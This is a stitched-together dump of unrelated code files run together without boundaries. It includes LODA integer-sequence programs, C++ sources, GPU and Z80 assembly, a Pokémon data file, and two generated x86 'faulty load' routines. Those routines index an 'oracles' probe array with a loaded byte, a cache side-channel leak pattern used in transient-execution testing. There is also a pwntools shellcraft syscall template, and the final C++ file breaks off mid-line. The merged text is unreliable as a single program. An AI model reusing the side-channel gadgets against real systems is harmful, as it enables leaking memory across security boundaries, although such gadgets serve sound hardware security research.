.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r15 push %r9 push %rax push %rcx push %rsi // Load mov $0x580248000000095b, %r10 nop nop nop xor $33160, %r12 vmovups (%r10), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $0, %xmm7, %r15 nop nop nop nop and $49454, %r10 // Store lea addresses_RW+0x112eb, %r9 nop nop sub %rsi, %rsi mov $0x5152535455565758, %r15 movq %r15, %xmm6 vmovups %ymm6, (%r9) nop nop xor $48436, %r12 // Faulty Load lea addresses_WT+0x1776b, %rax nop nop nop nop dec %rsi movb (%rax), %r12b lea oracles, %rsi and $0xff, %r12 shlq $12, %r12 mov (%rsi,%r12,1), %r12 pop %rsi pop %rcx pop %rax pop %r9 pop %r15 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_NC', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_RW', 'size': 32, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'39': 91} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
#include <stdio.h> #include <stdlib.h> #include <libusb-1.0/libusb.h> #include <unistd.h> #include <pthread.h> #include <time.h> #include <stdint.h> #include <semaphore.h> #include <fstream> #include "sdk.h" #include<sys/types.h> #include<sys/stat.h> #include<fcntl.h> #include <opencv2/core/core.hpp> #include <opencv2/highgui/highgui.hpp> #include <opencv2/imgproc/imgproc.hpp> #include <opencv2/imgproc/types_c.h> #include <opencv2/highgui/highgui_c.h> using namespace std; #include <sys/time.h> using namespace cv; void opencv_show_img_func(void *data, int w, int h, float scale, char *name, int nn_fov_show, Network1Par *nnParm1, Network2Par *nnParm2, char *nnret,float minConf) { cv::Mat yuvImg; yuvImg.create(h * 3 / 2, w, CV_8UC1); cv::Mat yuvImg_resized; cv::Mat outgoing_img; /* YUV420P-->RGB */ yuvImg.data = (unsigned char*)data; cv::cvtColor(yuvImg, outgoing_img, CV_YUV2BGR_I420); Mat showImage; /* Zoom display */ resize(outgoing_img,showImage,Size(outgoing_img.cols*scale,outgoing_img.rows*scale),0,0,INTER_LINEAR); cv::imshow(name, showImage); cv::waitKey(1); }
; A063434: Integers n > 10577 such that the 'Reverse and Add!' trajectory of n joins the trajectory of 10577. ; Submitted by Jon Maiga ; 11567,12557,13547,14537,15527,16517,17507,20576,21566,22556,23546,24536,25526,26516,27506,30575,31565,32555,33545,34535,35525,36515,37505,40574,41564,42554,43544,44534,45524,46514,47504,50573,51563 add $0,1 mov $1,$0 div $1,8 mul $1,2 add $0,$1 mul $0,20 add $0,$1 div $0,2 mul $0,99 add $0,10577
#include <exit/policy.hpp> namespace llarp { namespace exit { Policy::~Policy() { } bool Policy::BEncode(llarp_buffer_t *buf) const { if(!bencode_start_dict(buf)) return false; if(!BEncodeWriteDictInt("a", proto, buf)) return false; if(!BEncodeWriteDictInt("b", port, buf)) return false; if(!BEncodeWriteDictInt("d", drop, buf)) return false; if(!BEncodeWriteDictInt("v", version, buf)) return false; return bencode_end(buf); } bool Policy::DecodeKey(llarp_buffer_t k, llarp_buffer_t *buf) { bool read = false; if(!BEncodeMaybeReadDictInt("a", proto, read, k, buf)) return false; if(!BEncodeMaybeReadDictInt("b", port, read, k, buf)) return false; if(!BEncodeMaybeReadDictInt("d", drop, read, k, buf)) return false; if(!BEncodeMaybeReadDictInt("v", version, read, k, buf)) return false; return read; } } // namespace exit } // namespace llarp
/* * Copyright (c) 2017, Intel Corporation * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. */ L0: mov (8|M0) r16.0<1>:ud r0.0<8;8,1>:ud (W&~f0.1)jmpi L368 L32: mov (8|M0) r17.0<1>:ud r25.0<8;8,1>:ud add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0x42EC100:ud mov (1|M0) r17.2<1>:f r10.1<0;1,0>:f mov (1|M0) r16.2<1>:ud 0xE000:ud send (1|M0) r112:uw r16:ub 0x2 a0.0 mov (1|M0) r17.2<1>:f r25.2<0;1,0>:f send (1|M0) r120:uw r16:ub 0x2 a0.0 add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0x44EC201:ud mov (1|M0) r17.2<1>:f r10.1<0;1,0>:f mov (1|M0) r16.2<1>:ud 0xC000:ud send (1|M0) r116:uw r16:ub 0x2 a0.0 mov (1|M0) r17.2<1>:f r25.2<0;1,0>:f send (1|M0) r124:uw r16:ub 0x2 a0.0 mov (16|M0) r114.0<1>:uw 0xFFFF:uw mov (16|M0) r115.0<1>:uw 0xFFFF:uw mov (16|M0) r122.0<1>:uw 0xFFFF:uw mov (16|M0) r123.0<1>:uw 0xFFFF:uw mov (1|M0) a0.8<1>:uw 0xE00:uw mov (1|M0) a0.9<1>:uw 0xE80:uw mov (1|M0) a0.10<1>:uw 0xEC0:uw add (4|M0) a0.12<1>:uw a0.8<4;4,1>:uw 0x100:uw L368: nop
SECTION code_clib SECTION code_l PUBLIC l_eat_digits EXTERN l_char2num l_eat_digits: ; advance buffer pointer past digits ; ; enter : hl = char * ; c = base ; ; exit : hl = char * (points past number) ; ; uses : af, hl ld a,(hl) call l_char2num ret c cp c ret nc inc hl jr l_eat_digits
; A204697: Final nonzero digit of n^n in base 3. ; 1,1,1,1,1,2,1,1,1,1,1,2,1,1,1,2,1,2,1,1,1,1,1,2,1,1,1,1,1,2,1,1,1,2,1,2,1,1,1,1,1,2,1,1,1,2,1,2,1,1,1,2,1,2,1,1,1,1,1,2,1,1,1,1,1,2,1,1,1,2,1,2,1,1,1,1,1,2,1,1,1,1,1,2,1 lpb $0 dif $0,3 trn $1,$0 lpe add $0,1 lpb $0 dif $0,6 mov $1,1 lpe add $1,1 mov $0,$1
lc r4, 0x80000001 lc r5, 0x80000000 ges r6, r4, r5 halt #@expected values #r4 = 0x80000001 #r5 = 0x80000000 #r6 = 0x00000001 #pc = -2147483624 #e0 = 0 #e1 = 0 #e2 = 0 #e3 = 0
; A195177: a(n) = 3*n - floor(2*n*sqrt(2)). ; 0,1,1,1,1,1,2,2,2,2,2,2,3,3,3,3,3,3,4,4,4,4,4,4,5,5,5,5,5,5,6,6,6,6,6,7,7,7,7,7,7,8,8,8,8,8,8,9,9,9,9,9,9,10,10,10,10,10,10,11,11,11,11,11,11,12,12,12,12,12,13,13,13,13,13,13,14,14,14,14,14,14,15,15,15,15,15,15,16,16,16,16,16,16,17,17,17,17,17,17,18,18,18,18,18,19,19,19,19,19,19,20,20,20,20,20,20,21,21,21,21,21,21,22,22,22,22,22,22,23,23,23,23,23,23,24,24,24,24,24,25,25,25,25,25,25,26,26,26,26,26,26,27,27,27,27,27,27,28,28,28,28,28,28,29,29,29,29,29,29,30,30,30,30,30,31,31,31,31,31,31,32,32,32,32,32,32,33,33,33,33,33,33,34,34,34,34,34,34,35,35,35,35,35,36,36,36,36,36,36,37,37,37,37,37,37,38,38,38,38,38,38,39,39,39,39,39,39,40,40,40,40,40,40,41,41,41,41,41,42,42,42,42,42,42,43,43,43,43,43 mov $2,$0 div $2,34 lpb $0,1 mov $1,$2 add $1,$0 mov $0,$2 div $1,6 add $1,1 lpe
; A102002: Weighted tribonacci (1,2,4), companion to A102001. ; Submitted by Jon Maiga ; 1,7,13,31,85,199,493,1231,3013,7447,18397,45343,111925,276199,681421,1681519,4149157,10237879,25262269,62334655,153810709,379529095,936489133,2310790159,5701884805,14069421655,34716351901,85662734431,211373124853,521564001319 lpb $0 sub $0,1 mul $1,2 add $1,1 mov $3,$1 mul $4,2 mov $1,$4 add $1,$2 add $2,$3 mov $4,$2 sub $4,$3 lpe mov $0,$2 mul $0,6 add $0,1
<% from pwnlib.shellcraft.amd64.linux import syscall %> <%page args="fdout, iov, count, flags"/> <%docstring> Invokes the syscall vmsplice. See 'man 2 vmsplice' for more information. Arguments: fdout(int): fdout iov(iovec): iov count(size_t): count flags(unsigned): flags </%docstring> ${syscall('SYS_vmsplice', fdout, iov, count, flags)}
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r15 push %r8 push %rbp push %rdx lea addresses_normal_ht+0x853b, %r10 nop sub %rbp, %rbp movl $0x61626364, (%r10) nop nop nop nop sub %r11, %r11 lea addresses_D_ht+0xb2bb, %r12 nop dec %r11 mov (%r12), %r15w nop and $62711, %r10 lea addresses_D_ht+0x3b3b, %r12 cmp $19532, %rdx movups (%r12), %xmm0 vpextrq $0, %xmm0, %rbp nop nop nop nop sub %r15, %r15 lea addresses_UC_ht+0xe0f4, %r8 xor %rdx, %rdx mov $0x6162636465666768, %r12 movq %r12, %xmm3 movups %xmm3, (%r8) nop nop and %r15, %r15 lea addresses_normal_ht+0x1920d, %r12 clflush (%r12) nop nop nop and $28061, %rbp mov (%r12), %r11 nop nop and %r11, %r11 lea addresses_normal_ht+0x19b3b, %r11 nop nop add %r15, %r15 movw $0x6162, (%r11) nop nop nop nop and $48363, %rdx pop %rdx pop %rbp pop %r8 pop %r15 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r15 push %r8 push %rbx push %rcx push %rdx // Store lea addresses_WT+0x511b, %r12 nop nop sub %rdx, %rdx movb $0x51, (%r12) nop nop xor %r8, %r8 // Store lea addresses_WT+0xeb3b, %rcx clflush (%rcx) nop nop nop nop sub %r11, %r11 mov $0x5152535455565758, %rbx movq %rbx, %xmm1 vmovups %ymm1, (%rcx) nop nop cmp %r15, %r15 // Store lea addresses_UC+0x1aadb, %r15 nop nop nop nop nop dec %rcx mov $0x5152535455565758, %rbx movq %rbx, %xmm2 movups %xmm2, (%r15) nop inc %r8 // Store lea addresses_US+0x8a3b, %r11 clflush (%r11) dec %r12 mov $0x5152535455565758, %r15 movq %r15, %xmm1 movups %xmm1, (%r11) nop nop nop xor %r15, %r15 // Store mov $0x22f4bf00000000db, %r15 inc %r11 movl $0x51525354, (%r15) nop nop inc %r15 // Faulty Load lea addresses_WT+0x8b3b, %rcx nop nop nop nop nop xor $24302, %rbx mov (%rcx), %r12d lea oracles, %r15 and $0xff, %r12 shlq $12, %r12 mov (%r15,%r12,1), %r12 pop %rdx pop %rcx pop %rbx pop %r8 pop %r15 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 11}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_US', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': True, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 4}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WT', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': True, 'congruent': 6}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 11}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 1}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 10}} {'58': 6} 58 58 58 58 58 58 */
#include "list.hpp" const std::set<std::string>& enumerator::enumerations::List::Values() const { return values; } const std::string& enumerator::enumerations::List::Name() const { return name; } #include "registrar.hpp" REGISTER_DEFAULT(enumerator::enumerations::Enumeration, enumerator::enumerations::List, "Simple list of arguments", ARG(std::string, "name", "the template variable name"), ARG(std::vector<std::string>, "values", "the list of values"));
; A281482: a(n) = 2^(n + 1) * (2^n + 1) - 1. ; 3,11,39,143,543,2111,8319,33023,131583,525311,2099199,8392703,33562623,134234111,536903679,2147549183,8590065663,34360000511,137439477759,549756862463,2199025352703,8796097216511,35184380477439,140737505132543,562949986975743,2251799880794111,9007199388958719,36028797287399423,144115188612726783,576460753377165311,2305843011361177599,9223372041149743103,36893488156009037823,147573952606856282111,590295810393065390079,2361183241503542083583,9444732965876729380863,37778931863232039616511 mov $1,2 pow $1,$0 add $1,1 bin $1,2 mul $1,4 sub $1,1 mov $0,$1
title prac03 .model small include irvine32.inc .code main proc far .startup mov eax, 10000h add eax, 40000h sub eax, 20000h .exit main endp end
/* Copyright (c) 2013, SMB Phone Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. The views and conclusions contained in the software and documentation are those of the authors and should not be interpreted as representing official policies, either expressed or implied, of the FreeBSD Project. */ #include <zsLib/IMessageQueueThread.h> #include <zsLib/Exception.h> #include <zsLib/Socket.h> #include <zsLib/String.h> #include <ortc/services/ISTUNDiscovery.h> #include "config.h" #include "testing.h" #include <list> #include <iostream> namespace ortc { namespace services { namespace test { ZS_DECLARE_SUBSYSTEM(ortc_services_test) } } } using zsLib::BYTE; using zsLib::WORD; using zsLib::ULONG; using zsLib::String; using zsLib::Socket; using zsLib::SocketPtr; using zsLib::IPAddress; using zsLib::IMessageQueue; using ortc::services::IDNS; using ortc::services::IDNSQuery; using ortc::services::ISTUNDiscovery; using ortc::services::ISTUNDiscoveryPtr; using ortc::services::ISTUNDiscoveryDelegate; namespace ortc { namespace services { namespace test { ZS_DECLARE_CLASS_PTR(TestSTUNDiscoveryCallback) class TestSTUNDiscoveryCallback : public zsLib::MessageQueueAssociator, public ISTUNDiscoveryDelegate, public IDNSDelegate, public zsLib::ISocketDelegate { private: TestSTUNDiscoveryCallback(zsLib::IMessageQueuePtr queue) : zsLib::MessageQueueAssociator(queue) { } void init( WORD localPort, const char *srvName, bool resolveFirst ) { zsLib::AutoLock lock(mLock); mSocket = Socket::createUDP(); IPAddress any(IPAddress::anyV4()); any.setPort(localPort); mSocket->bind(any); mSocket->setBlocking(false); mSocket->setDelegate(mThisWeak.lock()); if (resolveFirst) { mSRVQuery = IDNS::lookupSRV(mThisWeak.lock(), srvName, "stun", "udp", 3478); } else { ISTUNDiscovery::CreationOptions stunOptions; stunOptions.mServers.push_back(String(srvName)); mDiscovery = ISTUNDiscovery::create(getAssociatedMessageQueue(), mThisWeak.lock(), stunOptions); } } public: static TestSTUNDiscoveryCallbackPtr create( zsLib::IMessageQueuePtr queue, WORD port, const char *srvName, bool resolveFirst ) { TestSTUNDiscoveryCallbackPtr pThis(new TestSTUNDiscoveryCallback(queue)); pThis->mThisWeak = pThis; pThis->init(port, srvName, resolveFirst); return pThis; } virtual void onLookupCompleted(IDNSQueryPtr query) { zsLib::AutoLock lock(mLock); TESTING_CHECK(((bool)query)); TESTING_CHECK(query->hasResult()); TESTING_CHECK(query == mSRVQuery); TESTING_CHECK(mSRVQuery); ISTUNDiscovery::CreationOptions stunOptions; stunOptions.mSRV = query->getSRV(); mDiscovery = ISTUNDiscovery::create(getAssociatedMessageQueue(), mThisWeak.lock(), stunOptions); mSRVQuery.reset(); } ~TestSTUNDiscoveryCallback() { } virtual void onSTUNDiscoverySendPacket( ISTUNDiscoveryPtr discovery, zsLib::IPAddress destination, SecureByteBlockPtr packet ) { zsLib::AutoLock lock(mLock); if (!mSocket) return; TESTING_CHECK(discovery); TESTING_CHECK(!destination.isAddressEmpty()); TESTING_CHECK(!destination.isPortEmpty()); TESTING_CHECK(packet->BytePtr()); TESTING_CHECK(packet->SizeInBytes()); TESTING_CHECK(mSocket); mSocket->sendTo(destination, packet->BytePtr(), packet->SizeInBytes()); } virtual void onSTUNDiscoveryCompleted(ISTUNDiscoveryPtr discovery) { zsLib::AutoLock lock(mLock); TESTING_CHECK(discovery); if (!mDiscovery) return; TESTING_CHECK(discovery == mDiscovery); TESTING_CHECK(mDiscovery); TESTING_CHECK(mSocket) mDiscoveredIP = discovery->getMappedAddress(); mDiscovery.reset(); mSocket->close(); mSocket.reset(); } virtual void onReadReady(SocketPtr socket) { zsLib::AutoLock lock(mLock); TESTING_CHECK(socket); if (!mSocket) return; TESTING_CHECK(socket == mSocket); TESTING_CHECK(mDiscovery); IPAddress ip; BYTE buffer[1500]; size_t bufferLengthInBytes = sizeof(buffer); size_t readBytes = mSocket->receiveFrom(ip, &(buffer[0]), bufferLengthInBytes); TESTING_CHECK(readBytes > 0) ISTUNDiscovery::handlePacket(ip, &(buffer[0]), readBytes); } virtual void onWriteReady(SocketPtr socket) { // zsLib::AutoLock lock(mLock); // TESTING_CHECK(socket); // TESTING_CHECK(socket == mSocket); } virtual void onException(SocketPtr socket) { // zsLib::AutoLock lock(mLock); // TESTING_CHECK(socket); // TESTING_CHECK(socket == mSocket); } bool isComplete() { zsLib::AutoLock lock(mLock); return (!((mSRVQuery) || (mDiscovery))); } zsLib::IPAddress getIP() { zsLib::AutoLock lock(mLock); return mDiscoveredIP; } private: mutable zsLib::Lock mLock; TestSTUNDiscoveryCallbackWeakPtr mThisWeak; SocketPtr mSocket; IDNSQueryPtr mSRVQuery; ISTUNDiscoveryPtr mDiscovery; IPAddress mDiscoveredIP; }; } } } using ortc::services::test::TestSTUNDiscoveryCallback; using ortc::services::test::TestSTUNDiscoveryCallbackPtr; void doTestSTUNDiscovery() { if (!ORTC_SERVICE_TEST_DO_STUN_TEST) return; TESTING_INSTALL_LOGGER(); // MUST set the value before starting #ifdef ORTC_SERVICE_TEST_WHAT_IS_MY_IP TESTING_CHECK(String("1.2.3.4") != String(ORTC_SERVICE_TEST_WHAT_IS_MY_IP)); #endif //ORTC_SERVICE_TEST_WHAT_IS_MY_IP zsLib::IMessageQueueThreadPtr thread(zsLib::IMessageQueueThread::createBasic()); TestSTUNDiscoveryCallbackPtr testObject = TestSTUNDiscoveryCallback::create(thread, 45123, ORTC_SERVICE_TEST_STUN_SERVER_HOST, true); TestSTUNDiscoveryCallbackPtr testObject2 = TestSTUNDiscoveryCallback::create(thread, 45127, ORTC_SERVICE_TEST_STUN_SERVER_HOST, false); TESTING_STDOUT() << "WAITING: Waiting for STUN discovery to complete (max wait is 180 seconds).\n"; // check to see if all DNS routines have resolved { ULONG expecting = 2; ULONG found = 0; ULONG lastFound = 0; ULONG totalWait = 0; do { TESTING_SLEEP(1000) ++totalWait; if (totalWait >= 180) break; found = 0; found += (testObject->isComplete() ? 1 : 0); found += (testObject2->isComplete() ? 1 : 0); if (lastFound != found) { lastFound = found; std::cout << "FOUND: [" << found << "].\n"; } } while(found < expecting); TESTING_EQUAL(found, expecting); } TESTING_STDOUT() << "WAITING: All STUN discoveries have finished. Waiting for 'bogus' events to process (10 second wait).\n"; TESTING_SLEEP(10000) TESTING_CHECK(!testObject->getIP().isAddressEmpty()); TESTING_CHECK(!testObject->getIP().isPortEmpty()); TESTING_CHECK(!testObject2->getIP().isAddressEmpty()); TESTING_CHECK(!testObject2->getIP().isPortEmpty()); TESTING_CHECK(testObject->getIP().isAddressEqual(testObject2->getIP())); TESTING_CHECK(testObject->getIP().getPort() != testObject2->getIP().getPort()); #ifdef ORTC_SERVICE_TEST_WHAT_IS_MY_IP TESTING_EQUAL(testObject->getIP().string(false), ORTC_SERVICE_TEST_WHAT_IS_MY_IP); TESTING_EQUAL(testObject2->getIP().string(false), ORTC_SERVICE_TEST_WHAT_IS_MY_IP); #endif //ORTC_SERVICE_TEST_WHAT_IS_MY_IP testObject.reset(); testObject2.reset(); // wait for shutdown { IMessageQueue::size_type count = 0; do { count = thread->getTotalUnprocessedMessages(); // count += mThreadNeverCalled->getTotalUnprocessedMessages(); if (0 != count) std::this_thread::yield(); } while (count > 0); thread->waitForShutdown(); } TESTING_UNINSTALL_LOGGER(); zsLib::proxyDump(); TESTING_EQUAL(zsLib::proxyGetTotalConstructed(), 0); }
; A128587: Row sums of A128586. ; 1,1,1,-1,3,-5,9,-15,25,-41,67,-109,177,-287,465,-753,1219,-1973,3193,-5167,8361,-13529,21891,-35421,57313,-92735,150049,-242785,392835,-635621,1028457,-1664079,2692537,-4356617,7049155,-11405773,18454929,-29860703,48315633,-78176337,126491971,-204668309,331160281,-535828591,866988873,-1402817465,2269806339,-3672623805,5942430145,-9615053951,15557484097,-25172538049,40730022147,-65902560197,106632582345,-172535142543,279167724889,-451702867433,730870592323,-1182573459757,1913444052081 seq $0,119282 ; Alternating sum of the first n Fibonacci numbers. mul $0,4 add $0,3 div $0,4 mul $0,2 add $0,1
extern m7_ippsPrimeSet_BN:function extern n8_ippsPrimeSet_BN:function extern y8_ippsPrimeSet_BN:function extern e9_ippsPrimeSet_BN:function extern l9_ippsPrimeSet_BN:function extern n0_ippsPrimeSet_BN:function extern k0_ippsPrimeSet_BN:function extern ippcpJumpIndexForMergedLibs extern ippcpSafeInit:function segment .data align 8 dq .Lin_ippsPrimeSet_BN .Larraddr_ippsPrimeSet_BN: dq m7_ippsPrimeSet_BN dq n8_ippsPrimeSet_BN dq y8_ippsPrimeSet_BN dq e9_ippsPrimeSet_BN dq l9_ippsPrimeSet_BN dq n0_ippsPrimeSet_BN dq k0_ippsPrimeSet_BN segment .text global ippsPrimeSet_BN:function (ippsPrimeSet_BN.LEndippsPrimeSet_BN - ippsPrimeSet_BN) .Lin_ippsPrimeSet_BN: db 0xf3, 0x0f, 0x1e, 0xfa call ippcpSafeInit wrt ..plt align 16 ippsPrimeSet_BN: db 0xf3, 0x0f, 0x1e, 0xfa mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc] movsxd rax, dword [rax] lea r11, [rel .Larraddr_ippsPrimeSet_BN] mov r11, qword [r11+rax*8] jmp r11 .LEndippsPrimeSet_BN:
db 0 ; species ID placeholder db 60, 40, 60, 35, 40, 60 ; hp atk def spd sat sdf db GRASS, GRASS ; type db 255 ; catch rate db 65 ; base exp db NO_ITEM, BERRY ; items db GENDER_F12_5 ; gender ratio db 100 ; unknown 1 db 15 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/shroomish/front.dimensions" db 0, 0, 0, 0 ; padding db GROWTH_FLUCTUATING ; growth rate dn EGG_FAIRY, EGG_PLANT ; egg groups ; tm/hm learnset tmhm HEADBUTT, CURSE, TOXIC, HIDDEN_POWER, SUNNY_DAY, SWEET_SCENT, SNORE, PROTECT, GIGA_DRAIN, ENDURE, FRUSTRATION, SOLARBEAM, RETURN, DOUBLE_TEAM, SWAGGER, SLEEP_TALK, SLUDGE_BOMB, REST, ATTRACT, FLASH ; end
SECTION code_fp_am9511 PUBLIC cam32_sccz80_acosh EXTERN _am9511_acosh defc cam32_sccz80_acosh = _am9511_acosh
; A268088: Number of nX3 0..2 arrays with every repeated value in every row not one larger and in every column one larger mod 3 than the previous repeated value, and upper left element zero. ; Submitted by Jon Maiga ; 9,243,4608,83349,1339893,20699712,303284403,4320438183,59802048000,811951057125,10831783903677,142591596848064,1855468989421875,23920516469271231,305928653301448704,3886833181740400197,49103880497968317093,617397813039833352000,7731129167889151055859,96474481199867338572375,1200296024065951743527424,14895537250192664038389477,184446802450889854831549197,2279642151796093242558182592,28129112844645711127201992819,346606315602303261776203675503,4265708406771339689267575369728 seq $0,267946 ; Number of n X 1 0..2 arrays with every repeated value in every row and column one larger mod 3 than the previous repeated value, and upper left element zero. pow $0,3 mul $0,9
#ifndef SRC_CPP_PROGRESS_HPP_ #define SRC_CPP_PROGRESS_HPP_ #include <iostream> void progress(int phase, int64_t n, int64_t max_n) { float p = (100.0 / 4) * ((phase - 1.0) + (1.0 * n / max_n)); std::cout << "Progress: " << p << std::endl; } #endif // SRC_CPP_PROGRESS_HPP
/*========================================================================= * * Copyright RTK Consortium * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0.txt * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * *=========================================================================*/ #ifndef rtkScatterGlareCorrectionImageFilter_hxx #define rtkScatterGlareCorrectionImageFilter_hxx // Use local RTK FFTW files taken from Gaëtan Lehmann's code for // thread safety: http://hdl.handle.net/10380/3154 #include <itkRealToHalfHermitianForwardFFTImageFilter.h> #include <itkHalfHermitianToRealInverseFFTImageFilter.h> #include <itkImageRegionIterator.h> #include <itkImageRegionIteratorWithIndex.h> #include <itkDivideImageFilter.h> namespace rtk { template <class TInputImage, class TOutputImage, class TFFTPrecision> ScatterGlareCorrectionImageFilter<TInputImage, TOutputImage, TFFTPrecision> ::ScatterGlareCorrectionImageFilter() { this->m_KernelDimension = 2; } template<class TInputImage, class TOutputImage, class TFFTPrecision> void ScatterGlareCorrectionImageFilter<TInputImage, TOutputImage, TFFTPrecision> ::UpdateFFTConvolutionKernel(const SizeType size) { double dx = this->GetInput()->GetSpacing()[0]; double dy = this->GetInput()->GetSpacing()[1]; CoefficientVectorType coeffs = m_Coefficients; coeffs.push_back(dx); coeffs.push_back(dy); coeffs.push_back(size[0]); coeffs.push_back(size[1]); if(coeffs == m_PreviousCoefficients) return; // Up-to-date m_PreviousCoefficients = coeffs; FFTInputImagePointer kernel = FFTInputImageType::New(); kernel->SetRegions(size); kernel->Allocate(); double a3 = m_Coefficients[0]; double b3 = m_Coefficients[1]; double b3sq = b3*b3; double halfXSz = size[0]/ 2.; double halfYSz = size[1]/ 2.; itk::ImageRegionIteratorWithIndex<FFTInputImageType> itK(kernel, kernel->GetLargestPossibleRegion()); itK.GoToBegin(); // Central value double g = (1 - a3) + a3*dx*dy / (2. * vnl_math::pi * b3sq); itK.Set(g); ++itK; typename FFTInputImageType::IndexType idx; while ( !itK.IsAtEnd() ) { idx = itK.GetIndex(); double xx = halfXSz - fabs(halfXSz-idx[0]); // Distance to nearest x border double yy = halfYSz - fabs(halfYSz-idx[1]); // Distance to nearest y border double rr2 = (xx*xx + yy*yy); g = (a3*dx*dy / (2. * vnl_math::pi * b3sq)) / std::pow((1. + rr2 / b3sq), 1.5); itK.Set(g); ++itK; } // FFT kernel typedef itk::RealToHalfHermitianForwardFFTImageFilter< FFTInputImageType, FFTOutputImageType > ForwardFFTType; typename ForwardFFTType::Pointer 